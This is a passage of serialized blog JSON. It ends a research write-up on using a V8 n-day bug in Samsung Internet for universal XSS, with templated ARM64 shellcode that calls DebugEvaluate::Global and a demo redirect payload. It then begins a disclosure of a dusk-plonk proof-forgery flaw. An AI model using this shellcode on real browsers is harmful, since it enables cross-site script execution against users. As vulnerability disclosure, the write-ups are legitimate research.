there.",{"type":24,"tag":25,"props":145770,"children":145771},{},[145772],{"type":29,"value":145773},"For our needs, it is straightforward to call:",{"type":24,"tag":137,"props":145775,"children":145777},{"code":145776,"language":34714,"meta":7,"className":34712,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[145778],{"type":24,"tag":80,"props":145779,"children":145780},{"__ignoreMap":7},[145781,145829,145858,145879],{"type":24,"tag":147,"props":145782,"children":145783},{"class":149,"line":150},[145784,145789,145793,145797,145802,145807,145811,145816,145820,145825],{"type":24,"tag":147,"props":145785,"children":145786},{"style":9044},[145787],{"type":29,"value":145788},"MaybeDirectHandle",{"type":24,"tag":147,"props":145790,"children":145791},{"style":235},[145792],{"type":29,"value":3583},{"type":24,"tag":147,"props":145794,"children":145795},{"style":9044},[145796],{"type":29,"value":54449},{"type":24,"tag":147,"props":145798,"children":145799},{"style":235},[145800],{"type":29,"value":145801},"> DebugEvaluate::",{"type":24,"tag":147,"props":145803,"children":145804},{"style":229},[145805],{"type":29,"value":145806},"Global",{"type":24,"tag":147,"props":145808,"children":145809},{"style":235},[145810],{"type":29,"value":480},{"type":24,"tag":147,"props":145812,"children":145813},{"style":9044},[145814],{"type":29,"value":145815},"Isolate",{"type":24,"tag":147,"props":145817,"children":145818},{"style":218},[145819],{"type":29,"value":244},{"type":24,"tag":147,"props":145821,"children":145822},{"style":247},[145823],{"type":29,"value":145824}," isolate",{"type":24,"tag":147,"props":145826,"children":145827},{"style":235},[145828],{"type":29,"value":1549},{"type":24,"tag":147,"props":145830,"children":145831},{"class":149,"line":160},[145832,145837,145841,145845,145849,145854],{"type":24,"tag":147,"props":145833,"children":145834},{"style":9044},[145835],{"type":29,"value":145836},"                                                Handle",{"type":24,"tag":147,"props":145838,"children":145839},{"style":235},[145840],{"type":29,"value":3583},{"type":24,"tag":147,"props":145842,"children":145843},{"style":9044},[145844],{"type":29,"value":53525},{"type":24,"tag":147,"props":145846,"children":145847},{"style":235},[145848],{"type":29,"value":11445},{"type":24,"tag":147,"props":145850,"children":145851},{"style":247},[145852],{"type":29,"value":145853},"source",{"type":24,"tag":147,"props":145855,"children":145856},{"style":235},[145857],{"type":29,"value":1549},{"type":24,"tag":147,"props":145859,"children":145860},{"class":149,"line":169},[145861,145866,145871,145875],{"type":24,"tag":147,"props":145862,"children":145863},{"style":235},[145864],{"type":29,"value":145865},"                                                debug::",{"type":24,"tag":147,"props":145867,"children":145868},{"style":9044},[145869],{"type":29,"value":145870},"EvaluateGlobalMode",{"type":24,"tag":147,"props":145872,"children":145873},{"style":247},[145874],{"type":29,"value":111848},{"type":24,"tag":147,"props":145876,"children":145877},{"style":235},[145878],{"type":29,"value":1549},{"type":24,"tag":147,"props":145880,"children":145881},{"class":149,"line":178},[145882,145887,145892],{"type":24,"tag":147,"props":145883,"children":145884},{"style":9044},[145885],{"type":29,"value":145886},"                                                REPLMode",{"type":24,"tag":147,"props":145888,"children":145889},{"style":247},[145890],{"type":29,"value":145891}," repl_mode",{"type":24,"tag":147,"props":145893,"children":145894},{"style":235},[145895],{"type":29,"value":1473},{"type":24,"tag":25,"props":145897,"children":145898},{},[145899,145901,145906,145908,145913,145915,145920,145922,145928,145929,145935],{"type":29,"value":145900},"We must supply the ",{"type":24,"tag":80,"props":145902,"children":145904},{"className":145903},[],[145905],{"type":29,"value":145474},{"type":29,"value":145907}," pointer, a ",{"type":24,"tag":80,"props":145909,"children":145911},{"className":145910},[],[145912],{"type":29,"value":53525},{"type":29,"value":145914}," object containing our XSS payload as ",{"type":24,"tag":80,"props":145916,"children":145918},{"className":145917},[],[145919],{"type":29,"value":145853},{"type":29,"value":145921},", and the ",{"type":24,"tag":80,"props":145923,"children":145925},{"className":145924},[],[145926],{"type":29,"value":145927},"mode",{"type":29,"value":855},{"type":24,"tag":80,"props":145930,"children":145932},{"className":145931},[],[145933],{"type":29,"value":145934},"repl_mode",{"type":29,"value":145936}," values, which are simple enum literals.",{"type":24,"tag":25,"props":145938,"children":145939},{},[145940,145942,145947,145949,145955,145957,145962,145964,145969,145971,145977,145979,145985,145987,145992,145994,145999,146001,146006,146008,146013],{"type":29,"value":145941},"To obtain the ",{"type":24,"tag":80,"props":145943,"children":145945},{"className":145944},[],[145946],{"type":29,"value":145474},{"type":29,"value":145948}," pointer within our shellcode, we call ",{"type":24,"tag":80,"props":145950,"children":145952},{"className":145951},[],[145953],{"type":29,"value":145954},"Isolate::TryGetCurrent()",{"type":29,"value":145956},", which returns the current ",{"type":24,"tag":80,"props":145958,"children":145960},{"className":145959},[],[145961],{"type":29,"value":145474},{"type":29,"value":145963},". To construct a valid ",{"type":24,"tag":80,"props":145965,"children":145967},{"className":145966},[],[145968],{"type":29,"value":53525},{"type":29,"value":145970}," object holding our payload, we call ",{"type":24,"tag":80,"props":145972,"children":145974},{"className":145973},[],[145975],{"type":29,"value":145976},"v8::String::NewFromUTF8",{"type":29,"value":145978},". This ",{"type":24,"tag":80,"props":145980,"children":145982},{"className":145981},[],[145983],{"type":29,"value":145984},"NewFromUTF8",{"type":29,"value":145986}," function takes four arguments: the ",{"type":24,"tag":80,"props":145988,"children":145990},{"className":145989},[],[145991],{"type":29,"value":145474},{"type":29,"value":145993},", the string bytes as ",{"type":24,"tag":80,"props":145995,"children":145997},{"className":145996},[],[145998],{"type":29,"value":1139},{"type":29,"value":146000},", an enum literal specifying the string type, and ",{"type":24,"tag":80,"props":146002,"children":146004},{"className":146003},[],[146005],{"type":29,"value":14129},{"type":29,"value":146007},", which is the size of the ",{"type":24,"tag":80,"props":146009,"children":146011},{"className":146010},[],[146012],{"type":29,"value":1139},{"type":29,"value":22769},{"type":24,"tag":25,"props":146015,"children":146016},{},[146017],{"type":29,"value":146018},"The resulting shellcode that executes our XSS payload looks like this:",{"type":24,"tag":137,"props":146020,"children":146022},{"code":146021,"language":144310,"meta":7,"className":144311,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[146023],{"type":24,"tag":80,"props":146024,"children":146025},{"__ignoreMap":7},[146026,146034,146042,146050,146058,146066,146074,146082,146090,146098,146106,146114,146122,146129,146137,146145,146153,146161,146168,146176,146183,146191,146199,146206,146213,146220,146227,146234,146241,146249,146257,146264,146272,146280,146287,146295,146303,146310,146317,146325,146333,146341,146348,146356,146364,146372,146380,146388,146396,146404,146412,146420,146428,146436,146443,146451,146459,146466,146474,146482,146490,146498,146505,146513,146520,146527,146535,146543,146551,146559,146568,146577,146585],{"type":24,"tag":147,"props":146027,"children":146028},{"class":149,"line":150},[146029],{"type":24,"tag":147,"props":146030,"children":146031},{},[146032],{"type":29,"value":146033},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":24,"tag":147,"props":146035,"children":146036},{"class":149,"line":160},[146037],{"type":24,"tag":147,"props":146038,"children":146039},{},[146040],{"type":29,"value":146041},"movz x1, #0xf7a0\n",{"type":24,"tag":147,"props":146043,"children":146044},{"class":149,"line":169},[146045],{"type":24,"tag":147,"props":146046,"children":146047},{},[146048],{"type":29,"value":146049},"movk x1, #0x0071, lsl #16\n",{"type":24,"tag":147,"props":146051,"children":146052},{"class":149,"line":178},[146053],{"type":24,"tag":147,"props":146054,"children":146055},{},[146056],{"type":29,"value":146057},"add x9, x12, x1\n",{"type":24,"tag":147,"props":146059,"children":146060},{"class":149,"line":187},[146061],{"type":24,"tag":147,"props":146062,"children":146063},{},[146064],{"type":29,"value":146065},"movz x1, #0x5ac8\n",{"type":24,"tag":147,"props":146067,"children":146068},{"class":149,"line":196},[146069],{"type":24,"tag":147,"props":146070,"children":146071},{},[146072],{"type":29,"value":146073},"movk x1, #0x054f, lsl #16\n",{"type":24,"tag":147,"props":146075,"children":146076},{"class":149,"line":205},[146077],{"type":24,"tag":147,"props":146078,"children":146079},{},[146080],{"type":29,"value":146081},"add x0, x12, x1\n",{"type":24,"tag":147,"props":146083,"children":146084},{"class":149,"line":214},[146085],{"type":24,"tag":147,"props":146086,"children":146087},{},[146088],{"type":29,"value":146089},"blr x9\n",{"type":24,"tag":147,"props":146091,"children":146092},{"class":149,"line":272},[146093],{"type":24,"tag":147,"props":146094,"children":146095},{},[146096],{"type":29,"value":146097},"// *x0 is isolate pointer\n",{"type":24,"tag":147,"props":146099,"children":146100},{"class":149,"line":281},[146101],{"type":24,"tag":147,"props":146102,"children":146103},{},[146104],{"type":29,"value":146105},"// store isolate ptr to stack\n",{"type":24,"tag":147,"props":146107,"children":146108},{"class":149,"line":299},[146109],{"type":24,"tag":147,"props":146110,"children":146111},{},[146112],{"type":29,"value":146113},"ldr x13, [x0]\n",{"type":24,"tag":147,"props":146115,"children":146116},{"class":149,"line":308},[146117],{"type":24,"tag":147,"props":146118,"children":146119},{},[146120],{"type":29,"value":146121},"str x13, [sp, #-16]!\n",{"type":24,"tag":147,"props":146123,"children":146124},{"class":149,"line":317},[146125],{"type":24,"tag":147,"props":146126,"children":146127},{"emptyLinePlaceholder":16},[146128],{"type":29,"value":314},{"type":24,"tag":147,"props":146130,"children":146131},{"class":149,"line":332},[146132],{"type":24,"tag":147,"props":146133,"children":146134},{},[146135],{"type":29,"value":146136},"// store x10 = v8::String::NewFromUTF8\n",{"type":24,"tag":147,"props":146138,"children":146139},{"class":149,"line":350},[146140],{"type":24,"tag":147,"props":146141,"children":146142},{},[146143],{"type":29,"value":146144},"movz x1, #0x1140\n",{"type":24,"tag":147,"props":146146,"children":146147},{"class":149,"line":358},[146148],{"type":24,"tag":147,"props":146149,"children":146150},{},[146151],{"type":29,"value":146152},"movk x1, #0x0242, lsl #16\n",{"type":24,"tag":147,"props":146154,"children":146155},{"class":149,"line":397},[146156],{"type":24,"tag":147,"props":146157,"children":146158},{},[146159],{"type":29,"value":146160},"sub x10, x12, x1\n",{"type":24,"tag":147,"props":146162,"children":146163},{"class":149,"line":421},[146164],{"type":24,"tag":147,"props":146165,"children":146166},{"emptyLinePlaceholder":16},[146167],{"type":29,"value":314},{"type":24,"tag":147,"props":146169,"children":146170},{"class":149,"line":435},[146171],{"type":24,"tag":147,"props":146172,"children":146173},{},[146174],{"type":29,"value":146175},"// mmap a RW page for our xss payload\n",{"type":24,"tag":147,"props":146177,"children":146178},{"class":149,"line":444},[146179],{"type":24,"tag":147,"props":146180,"children":146181},{},[146182],{"type":29,"value":144526},{"type":24,"tag":147,"props":146184,"children":146185},{"class":149,"line":452},[146186],{"type":24,"tag":147,"props":146187,"children":146188},{},[146189],{"type":29,"value":146190},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":24,"tag":147,"props":146192,"children":146193},{"class":149,"line":461},[146194],{"type":24,"tag":147,"props":146195,"children":146196},{},[146197],{"type":29,"value":146198},"mov x2, #3\n",{"type":24,"tag":147,"props":146200,"children":146201},{"class":149,"line":469},[146202],{"type":24,"tag":147,"props":146203,"children":146204},{},[146205],{"type":29,"value":144549},{"type":24,"tag":147,"props":146207,"children":146208},{"class":149,"line":508},[146209],{"type":24,"tag":147,"props":146210,"children":146211},{},[146212],{"type":29,"value":144557},{"type":24,"tag":147,"props":146214,"children":146215},{"class":149,"line":572},[146216],{"type":24,"tag":147,"props":146217,"children":146218},{},[146219],{"type":29,"value":144565},{"type":24,"tag":147,"props":146221,"children":146222},{"class":149,"line":591},[146223],{"type":24,"tag":147,"props":146224,"children":146225},{},[146226],{"type":29,"value":144573},{"type":24,"tag":147,"props":146228,"children":146229},{"class":149,"line":632},[146230],{"type":24,"tag":147,"props":146231,"children":146232},{},[146233],{"type":29,"value":144488},{"type":24,"tag":147,"props":146235,"children":146236},{"class":149,"line":659},[146237],{"type":24,"tag":147,"props":146238,"children":146239},{"emptyLinePlaceholder":16},[146240],{"type":29,"value":314},{"type":24,"tag":147,"props":146242,"children":146243},{"class":149,"line":684},[146244],{"type":24,"tag":147,"props":146245,"children":146246},{},[146247],{"type":29,"value":146248},"// write our xss payload to mmapped rw page\n",{"type":24,"tag":147,"props":146250,"children":146251},{"class":149,"line":715},[146252],{"type":24,"tag":147,"props":146253,"children":146254},{},[146255],{"type":29,"value":146256},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":24,"tag":147,"props":146258,"children":146259},{"class":149,"line":744},[146260],{"type":24,"tag":147,"props":146261,"children":146262},{"emptyLinePlaceholder":16},[146263],{"type":29,"value":314},{"type":24,"tag":147,"props":146265,"children":146266},{"class":149,"line":784},[146267],{"type":24,"tag":147,"props":146268,"children":146269},{},[146270],{"type":29,"value":146271},"// store x11 = XSS_PAYLOAD string\n",{"type":24,"tag":147,"props":146273,"children":146274},{"class":149,"line":792},[146275],{"type":24,"tag":147,"props":146276,"children":146277},{},[146278],{"type":29,"value":146279},"mov x11, x0\n",{"type":24,"tag":147,"props":146281,"children":146282},{"class":149,"line":805},[146283],{"type":24,"tag":147,"props":146284,"children":146285},{"emptyLinePlaceholder":16},[146286],{"type":29,"value":314},{"type":24,"tag":147,"props":146288,"children":146289},{"class":149,"line":813},[146290],{"type":24,"tag":147,"props":146291,"children":146292},{},[146293],{"type":29,"value":146294},"// pop back isolate pointer\n",{"type":24,"tag":147,"props":146296,"children":146297},{"class":149,"line":821},[146298],{"type":24,"tag":147,"props":146299,"children":146300},{},[146301],{"type":29,"value":146302},"ldr x13, [sp], #16\n",{"type":24,"tag":147,"props":146304,"children":146305},{"class":149,"line":1902},[146306],{"type":24,"tag":147,"props":146307,"children":146308},{"emptyLinePlaceholder":16},[146309],{"type":29,"value":314},{"type":24,"tag":147,"props":146311,"children":146312},{"class":149,"line":1920},[146313],{"type":24,"tag":147,"props":146314,"children":146315},{},[146316],{"type":29,"value":144609},{"type":24,"tag":147,"props":146318,"children":146319},{"class":149,"line":1929},[146320],{"type":24,"tag":147,"props":146321,"children":146322},{},[146323],{"type":29,"value":146324},"// x13 = isolate *\n",{"type":24,"tag":147,"props":146326,"children":146327},{"class":149,"line":1938},[146328],{"type":24,"tag":147,"props":146329,"children":146330},{},[146331],{"type":29,"value":146332},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":24,"tag":147,"props":146334,"children":146335},{"class":149,"line":1946},[146336],{"type":24,"tag":147,"props":146337,"children":146338},{},[146339],{"type":29,"value":146340},"// x10 = v8::String::NewFromUtf8\n",{"type":24,"tag":147,"props":146342,"children":146343},{"class":149,"line":1955},[146344],{"type":24,"tag":147,"props":146345,"children":146346},{"emptyLinePlaceholder":16},[146347],{"type":29,"value":314},{"type":24,"tag":147,"props":146349,"children":146350},{"class":149,"line":29376},[146351],{"type":24,"tag":147,"props":146352,"children":146353},{},[146354],{"type":29,"value":146355},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":24,"tag":147,"props":146357,"children":146358},{"class":149,"line":29384},[146359],{"type":24,"tag":147,"props":146360,"children":146361},{},[146362],{"type":29,"value":146363},"// arg0 = isolate *\n",{"type":24,"tag":147,"props":146365,"children":146366},{"class":149,"line":29421},[146367],{"type":24,"tag":147,"props":146368,"children":146369},{},[146370],{"type":29,"value":146371},"mov x0, x13\n",{"type":24,"tag":147,"props":146373,"children":146374},{"class":149,"line":29434},[146375],{"type":24,"tag":147,"props":146376,"children":146377},{},[146378],{"type":29,"value":146379},"// arg1 = char *c_str\n",{"type":24,"tag":147,"props":146381,"children":146382},{"class":149,"line":29447},[146383],{"type":24,"tag":147,"props":146384,"children":146385},{},[146386],{"type":29,"value":146387},"mov x1, x11\n",{"type":24,"tag":147,"props":146389,"children":146390},{"class":149,"line":29460},[146391],{"type":24,"tag":147,"props":146392,"children":146393},{},[146394],{"type":29,"value":146395},"// arg2 = type = kNormal\n",{"type":24,"tag":147,"props":146397,"children":146398},{"class":149,"line":29514},[146399],{"type":24,"tag":147,"props":146400,"children":146401},{},[146402],{"type":29,"value":146403},"mov x2, #0\n",{"type":24,"tag":147,"props":146405,"children":146406},{"class":149,"line":29523},[146407],{"type":24,"tag":147,"props":146408,"children":146409},{},[146410],{"type":29,"value":146411},"// arg4 = length\n",{"type":24,"tag":147,"props":146413,"children":146414},{"class":149,"line":37881},[146415],{"type":24,"tag":147,"props":146416,"children":146417},{},[146418],{"type":29,"value":146419},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":24,"tag":147,"props":146421,"children":146422},{"class":149,"line":37902},[146423],{"type":24,"tag":147,"props":146424,"children":146425},{},[146426],{"type":29,"value":146427},"// call NewFromUTF8\n",{"type":24,"tag":147,"props":146429,"children":146430},{"class":149,"line":86535},[146431],{"type":24,"tag":147,"props":146432,"children":146433},{},[146434],{"type":29,"value":146435},"blr x10\n",{"type":24,"tag":147,"props":146437,"children":146438},{"class":149,"line":86548},[146439],{"type":24,"tag":147,"props":146440,"children":146441},{"emptyLinePlaceholder":16},[146442],{"type":29,"value":314},{"type":24,"tag":147,"props":146444,"children":146445},{"class":149,"line":86556},[146446],{"type":24,"tag":147,"props":146447,"children":146448},{},[146449],{"type":29,"value":146450},"// store x14 = String XSS_PAYLOAD\n",{"type":24,"tag":147,"props":146452,"children":146453},{"class":149,"line":86564},[146454],{"type":24,"tag":147,"props":146455,"children":146456},{},[146457],{"type":29,"value":146458},"mov x14, x0\n",{"type":24,"tag":147,"props":146460,"children":146461},{"class":149,"line":86572},[146462],{"type":24,"tag":147,"props":146463,"children":146464},{"emptyLinePlaceholder":16},[146465],{"type":29,"value":314},{"type":24,"tag":147,"props":146467,"children":146468},{"class":149,"line":86612},[146469],{"type":24,"tag":147,"props":146470,"children":146471},{},[146472],{"type":29,"value":146473},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":147,"props":146475,"children":146476},{"class":149,"line":86620},[146477],{"type":24,"tag":147,"props":146478,"children":146479},{},[146480],{"type":29,"value":146481},"movz x1, #0xe44c\n",{"type":24,"tag":147,"props":146483,"children":146484},{"class":149,"line":93806},[146485],{"type":24,"tag":147,"props":146486,"children":146487},{},[146488],{"type":29,"value":146489},"movk x1, #0x014e, lsl #16\n",{"type":24,"tag":147,"props":146491,"children":146492},{"class":149,"line":93814},[146493],{"type":24,"tag":147,"props":146494,"children":146495},{},[146496],{"type":29,"value":146497},"sub x9, x12, x1\n",{"type":24,"tag":147,"props":146499,"children":146500},{"class":149,"line":107155},[146501],{"type":24,"tag":147,"props":146502,"children":146503},{"emptyLinePlaceholder":16},[146504],{"type":29,"value":314},{"type":24,"tag":147,"props":146506,"children":146507},{"class":149,"line":107163},[146508],{"type":24,"tag":147,"props":146509,"children":146510},{},[146511],{"type":29,"value":146512},"// call v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":147,"props":146514,"children":146515},{"class":149,"line":107171},[146516],{"type":24,"tag":147,"props":146517,"children":146518},{},[146519],{"type":29,"value":146363},{"type":24,"tag":147,"props":146521,"children":146522},{"class":149,"line":107179},[146523],{"type":24,"tag":147,"props":146524,"children":146525},{},[146526],{"type":29,"value":146371},{"type":24,"tag":147,"props":146528,"children":146529},{"class":149,"line":107207},[146530],{"type":24,"tag":147,"props":146531,"children":146532},{},[146533],{"type":29,"value":146534},"// arg1 = String *source\n",{"type":24,"tag":147,"props":146536,"children":146537},{"class":149,"line":109976},[146538],{"type":24,"tag":147,"props":146539,"children":146540},{},[146541],{"type":29,"value":146542},"mov x1, x14\n",{"type":24,"tag":147,"props":146544,"children":146545},{"class":149,"line":109984},[146546],{"type":24,"tag":147,"props":146547,"children":146548},{},[146549],{"type":29,"value":146550},"// arg2 = mode = kDefault\n",{"type":24,"tag":147,"props":146552,"children":146554},{"class":149,"line":146553},69,[146555],{"type":24,"tag":147,"props":146556,"children":146557},{},[146558],{"type":29,"value":146403},{"type":24,"tag":147,"props":146560,"children":146562},{"class":149,"line":146561},70,[146563],{"type":24,"tag":147,"props":146564,"children":146565},{},[146566],{"type":29,"value":146567},"// arg3 = repl_mode = kYes\n",{"type":24,"tag":147,"props":146569,"children":146571},{"class":149,"line":146570},71,[146572],{"type":24,"tag":147,"props":146573,"children":146574},{},[146575],{"type":29,"value":146576},"mov x3, #0\n",{"type":24,"tag":147,"props":146578,"children":146580},{"class":149,"line":146579},72,[146581],{"type":24,"tag":147,"props":146582,"children":146583},{"emptyLinePlaceholder":16},[146584],{"type":29,"value":314},{"type":24,"tag":147,"props":146586,"children":146588},{"class":149,"line":146587},73,[146589],{"type":24,"tag":147,"props":146590,"children":146591},{},[146592],{"type":29,"value":146089},{"type":24,"tag":43,"props":146594,"children":146596},{"id":146595},"uxss-demo",[146597],{"type":29,"value":146598},"UXSS Demo",{"type":24,"tag":25,"props":146600,"children":146601},{},[146602,146604,146610],{"type":29,"value":146603},"Below is a demo that executes the following UXSS payload: ",{"type":24,"tag":80,"props":146605,"children":146607},{"className":146606},[],[146608],{"type":29,"value":146609},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":29,"value":87},{"type":24,"tag":8400,"props":146612,"children":146615},{"className":146613,"controls":16},[146614],"blog-video-responsive",[146616,146618,146622],{"type":29,"value":146617},"\n  ",{"type":24,"tag":145853,"props":146619,"children":146621},{"src":146620,"type":8398},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":29,"value":146623},"\n  Your browser does not support the video tag.\n",{"type":24,"tag":32,"props":146625,"children":146626},{"id":8458},[146627],{"type":29,"value":8461},{"type":24,"tag":25,"props":146629,"children":146630},{},[146631],{"type":29,"value":146632},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":24,"tag":25,"props":146634,"children":146635},{},[146636],{"type":29,"value":146637},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":24,"tag":8473,"props":146639,"children":146640},{},[146641],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":146643},[146644,146648,146651,146661],{"id":34617,"depth":160,"text":34620,"children":146645},[146646,146647],{"id":136781,"depth":169,"text":136784},{"id":136864,"depth":169,"text":136867},{"id":136897,"depth":160,"text":136900,"children":146649},[146650],{"id":137038,"depth":169,"text":136892},{"id":137182,"depth":160,"text":137185,"children":146652},[146653,146654,146655,146656,146657,146658,146659,146660],{"id":137188,"depth":169,"text":137191},{"id":137645,"depth":169,"text":137648},{"id":137828,"depth":169,"text":137831},{"id":137939,"depth":169,"text":137942},{"id":138216,"depth":169,"text":138219},{"id":140926,"depth":169,"text":140929},{"id":144207,"depth":169,"text":144210},{"id":146595,"depth":169,"text":146598},{"id":8458,"depth":160,"text":8461},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":146666,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":146667,"description":146668,"date":146669,"author":146670,"image":146671,"isFeatured":16,"onBlogPage":16,"tags":146673,"body":146676,"_type":8496,"_id":151940,"_source":8498,"_file":151941,"_stem":151942,"_extension":8501},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[113412,113413],{"src":146672,"width":14,"height":15},"/posts/dusk-commitment-issues/title.png",[146674,146675],"dusk","plonk",{"type":21,"children":146677,"toc":151920},[146678,146684,146725,146737,146743,146757,146762,146768,147059,147063,147335,147565,147571,148256,148260,148755,148763,148769,148788,148793,148799,149024,149063,149074,149080,149091,149799,149804,149807,149813,149866,149901,149933,149938,149942,149945,149951,149962,149975,150006,150073,150081,150103,150116,150543,150566,150571,150574,150579,150606,150702,150713,150760,150798,150809,151147,151164,151172,151175,151181,151186,151220,151228,151309,151312,151318,151332,151350,151355,151395,151403,151424,151427,151433,151438,151503,151517,151520,151526,151566,151577,151582,151587,151593,151607,151688,151709,151736,151739,151745,151759,151764,151769,151774,151909,151915],{"type":24,"tag":40973,"props":146679,"children":146681},{"id":146680},"commitment-issues-unverified-evaluations-in-dusks-plonk",[146682],{"type":29,"value":146683},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":24,"tag":25,"props":146685,"children":146686},{},[146687,146689,146696,146698,146705,146707,146714,146716,146723],{"type":29,"value":146688},"We found a critical soundness vulnerability in ",{"type":24,"tag":2773,"props":146690,"children":146693},{"href":146691,"rel":146692},"https://github.com/dusk-network/plonk/",[2777],[146694],{"type":29,"value":146695},"dusk-plonk",{"type":29,"value":146697},", the PLONK implementation powering ",{"type":24,"tag":2773,"props":146699,"children":146702},{"href":146700,"rel":146701},"https://dusk.network/",[2777],[146703],{"type":29,"value":146704},"Dusk Network's",{"type":29,"value":146706}," ~$60M ",{"type":24,"tag":2773,"props":146708,"children":146711},{"href":146709,"rel":146710},"https://www.coingecko.com/en/coins/dusk",[2777],[146712],{"type":29,"value":146713},"market cap",{"type":29,"value":146715},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":24,"tag":2773,"props":146717,"children":146720},{"href":146718,"rel":146719},"https://github.com/dusk-network/rusk",[2777],[146721],{"type":29,"value":146722},"Rusk",{"type":29,"value":146724}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":24,"tag":25,"props":146726,"children":146727},{},[146728,146730,146735],{"type":29,"value":146729},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":24,"tag":10949,"props":146731,"children":146732},{},[146733],{"type":29,"value":146734},"without ever validating them against the trusted commitments in the verifier key.",{"type":29,"value":146736}," The prover can set them to whatever values make the equation pass.",{"type":24,"tag":32,"props":146738,"children":146740},{"id":146739},"how-plonk-works-briefly",[146741],{"type":29,"value":146742},"How PLONK works (briefly)",{"type":24,"tag":25,"props":146744,"children":146745},{},[146746,146748,146755],{"type":29,"value":146747},"For a rigorous treatment see the ",{"type":24,"tag":2773,"props":146749,"children":146752},{"href":146750,"rel":146751},"https://eprint.iacr.org/2019/953",[2777],[146753],{"type":29,"value":146754},"original paper",{"type":29,"value":146756},"; what follows covers only the parts needed to understand the bug.",{"type":24,"tag":25,"props":146758,"children":146759},{},[146760],{"type":29,"value":146761},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":24,"tag":43,"props":146763,"children":146765},{"id":146764},"arithmetic-circuits-and-constraints",[146766],{"type":29,"value":146767},"Arithmetic circuits and constraints",{"type":24,"tag":25,"props":146769,"children":146770},{},[146771,146773,146822,146824,146973,146975,147058],{"type":29,"value":146772},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":24,"tag":80,"props":146774,"children":146776},{"className":146775},[9607,9608],[146777],{"type":24,"tag":147,"props":146778,"children":146780},{"className":146779},[9613],[146781],{"type":24,"tag":147,"props":146782,"children":146784},{"className":146783,"ariaHidden":9619},[9618],[146785],{"type":24,"tag":147,"props":146786,"children":146788},{"className":146787},[9624],[146789,146793,146798,146803,146808,146812,146817],{"type":24,"tag":147,"props":146790,"children":146792},{"className":146791,"style":9735},[9629],[],{"type":24,"tag":147,"props":146794,"children":146796},{"className":146795},[27319],[146797],{"type":29,"value":480},{"type":24,"tag":147,"props":146799,"children":146801},{"className":146800},[9635,27190],[146802],{"type":29,"value":24880},{"type":24,"tag":147,"props":146804,"children":146806},{"className":146805},[9746],[146807],{"type":29,"value":9749},{"type":24,"tag":147,"props":146809,"children":146811},{"className":146810,"style":9753},[9714],[],{"type":24,"tag":147,"props":146813,"children":146815},{"className":146814,"style":99116},[9635,27